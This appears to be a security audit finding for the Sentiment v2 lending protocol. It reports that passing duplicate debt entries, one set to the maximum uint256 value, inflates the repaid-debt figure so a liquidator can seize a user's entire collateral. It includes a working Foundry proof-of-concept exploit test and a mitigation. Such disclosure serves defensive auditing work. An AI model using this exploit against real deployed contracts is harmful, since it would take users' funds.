Custom Turquoise Bird

High

# Liquidator can seize the whole collateral or collateral up to 200% of debt value during liquidation

### Summary

Incorrect assumption in `RiskModule._validateSeizedAssetValue` function opens up the possibility for user to lose all of the collateral when Liquidator liquidates the unhealthy position.

### Root Cause

The `debtRepaidValue` in [`RiskModule._validateSeizedAssetValue`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/RiskModule.sol#L136-L145) can be inflated by passing specific `debtData` parameters during `PositionManager.liquidate`.

This is possible due to 2 reasons:
1. Multiple debt data entries for the same poolId can be passed
2. `type(uint256).max` can be used that indicates the whole debt should be repaid.

If in debt data the following values are passed:
```solidity
        DebtData[] memory debts = new DebtData[](2);
        debts[0] = DebtData({ poolId: poolId, amt: pool.getBorrowsOf(poolId, position) - 1 });
        debts[1] = DebtData({ poolId: poolId, amt: type(uint256).max });
```
then the `debtRepaidValue` will be inflated close to 200%.

### Internal pre-conditions

1. User's position has to be unhealthy

### External pre-conditions

_No response_

### Attack Path

1. User deposits collateral and borrows assets.
2. Liquidator monitors the position and liquidates the position with the following `debtData` and `assetData`:
```md
debtData = [max borrow - 1 wei, max borrow] = 199.99...% of total borrowed (but when being repaid, 100% is repaid instead)
assetData = ltv > 50% ? user's whole collateral : collateral equal to 200% of the debt value
```
3. Liquidator successfully repays 100% of user's debt and receives more in reward than anticipated.

### Impact

User suffers a bigger loss during liquidation than anticipated, liquidator gains more reward than anticipated.

The loss for user depends on the average LTV value and liquidation discount
- if LTV 50%-98%, user will lose all of the collateral.
- if LTV 10%-50%, user will lose collateral equal to 200% of the debt value

### PoC

Add the following test code under `test` folder and run
```shell
with logs:
forge test --mc "LiquidationAuditTest" -vv

without logs:
forge test --mc "LiquidationAuditTest"
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import { BaseTest } from "../BaseTest.t.sol";
import "forge-std/console2.sol";

import { MockERC20 } from "../mocks/MockERC20.sol";
import { Pool } from "src/Pool.sol";
import { PositionManager } from "src/PositionManager.sol";
import { Action, AssetData, DebtData } from "src/PositionManager.sol";
import { RiskEngine } from "src/RiskEngine.sol";
import { RiskModule } from "src/RiskModule.sol";
import { FixedPriceOracle } from "src/oracle/FixedPriceOracle.sol";

contract LiquidationAuditTest is BaseTest {
    Pool pool;
    address position;
    RiskEngine riskEngine;
    PositionManager positionManager;
    address public liquidator = makeAddr("liquidator");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        riskEngine = protocol.riskEngine();
        positionManager = protocol.positionManager();

        FixedPriceOracle oneEthOracle = new FixedPriceOracle(1e18);

        vm.startPrank(protocolOwner);
        // For simplicity, we set the price of all assets to 1 ETH
        riskEngine.setOracle(address(asset1), address(oneEthOracle));
        riskEngine.setOracle(address(asset2), address(oneEthOracle));
        vm.stopPrank();

        vm.startPrank(poolOwner);
        // Setting 80% LTV
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset2), 0.8e18);
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset2));
        vm.stopPrank();

        asset1.mint(lender, 100e18);
        asset2.mint(user, 10e18);

        vm.startPrank(lender);
        asset1.approve(address(pool), 100e18);
        pool.deposit(fixedRatePool, 100e18, lender);
        vm.stopPrank();
    }

    function testAudit() public {
        vm.startPrank(user);
        asset2.approve(address(positionManager), 2e18);

        // User deposits 2 asset2, borrows 1 asset1
        Action[] memory actions = new Action[](4);
        (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
        actions[1] = deposit(address(asset2), 2e18);
        actions[2] = addToken(address(asset2));
        actions[3] = borrow(fixedRatePool, 1e18);
        positionManager.processBatch(position, actions);
        vm.stopPrank();

        (uint256 totalAssetValue, uint256 totalDebtValue, uint256 minReqAssetValue) = riskEngine.getRiskData(position);

        // Asset value = 2
        // Debt value = 1
        // Min req asset value = 1 / 0.8 = 1.25
        assertEq(totalAssetValue, 2e18);
        assertEq(totalDebtValue, 1e18);
        assertEq(minReqAssetValue, 1.25e18);

        // Change asset2 price to 0.6 ETH
        // This will make the user's position unhealthy (totalAssetValue = 1.2)
        FixedPriceOracle newAsset2Price = new FixedPriceOracle(0.6e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset2), address(newAsset2Price));
        assertFalse(riskEngine.isPositionHealthy(position));

        (totalAssetValue, totalDebtValue, minReqAssetValue) = riskEngine.getRiskData(position);

        // Here is the important exploit point:
        //
        // Liquidator will use the following DebtData - [max - 1, max borrow]
        //
        // This will cause the following to happen:
        // Inside the RiskModule._validateSeizedAssetValue, the debtRepaidValue will be
        // (max - 1) + max (1) = 1.999999... ETH, because the _validateSeizedAssetValue functions
        // assumes no duplicate debt is being provided.
        //
        // Because of this liquidator can manipulate the debtRepaidValue to be greater than the actual
        // user's debt, which will allow the liquidator to seize more collateral than they should be able to.
        DebtData[] memory debts = new DebtData[](2);
        debts[0] = DebtData({ poolId: fixedRatePool, amt: pool.getBorrowsOf(fixedRatePool, position) - 1 });
        debts[1] = DebtData({ poolId: fixedRatePool, amt: type(uint256).max });

        uint256 userCollateralBalance = asset2.balanceOf(position);
        uint256 oldUserCollateralBalance = userCollateralBalance;
        uint256 liquidatorCollateralBalance = asset2.balanceOf(liquidator);
        console2.log("User's collateral balance                        ", userCollateralBalance);
        console2.log("Liquidator's collateral balance                  ", liquidatorCollateralBalance);
        console2.log("");

        // Because of the issue above, liquidator can seize the entire collateral of user
        AssetData[] memory assets = new AssetData[](1);
        assets[0] = AssetData({ asset: address(asset2), amt: userCollateralBalance });

        // The max value liquidator should be able to seize:
        // - Liquidation discount = 20% (from Test Deploy params)
        // - maxAmount = 1e18 (user's debt)
        //
        // maxSeizedValue = maxAmount * 1e18 / (1e18 - liquidationDiscount) = 1.25e18

        asset1.mint(liquidator, 10e18);
        uint256 liquidatorsAssetBalance = asset1.balanceOf(liquidator);
        vm.startPrank(liquidator);
        asset1.approve(address(positionManager), userCollateralBalance);
        positionManager.liquidate(position, debts, assets);
        vm.stopPrank();
        console2.log(
            "Liquidator paid                                  ", liquidatorsAssetBalance - asset1.balanceOf(liquidator)
        );
        console2.log("");

        userCollateralBalance = asset2.balanceOf(position);
        liquidatorCollateralBalance = asset2.balanceOf(liquidator);
        console2.log("User's collateral balance after liquidation      ", userCollateralBalance);
        console2.log("Liquidator's collateral balance after liquidation", liquidatorCollateralBalance);

        // Expect that user has 0 collateral left, and liquidator has seized all the collateral
        assertEq(userCollateralBalance, 0);
        assertEq(liquidatorCollateralBalance, oldUserCollateralBalance);
    }
}
```

### Mitigation

I would recommend to remove the possibility to set `type(uint256).max` as `DebtData.amt`
This change would prevent the possibility to inflate the `debtRepaidValue` in `RiskModule._validateSeizedAssetValue`
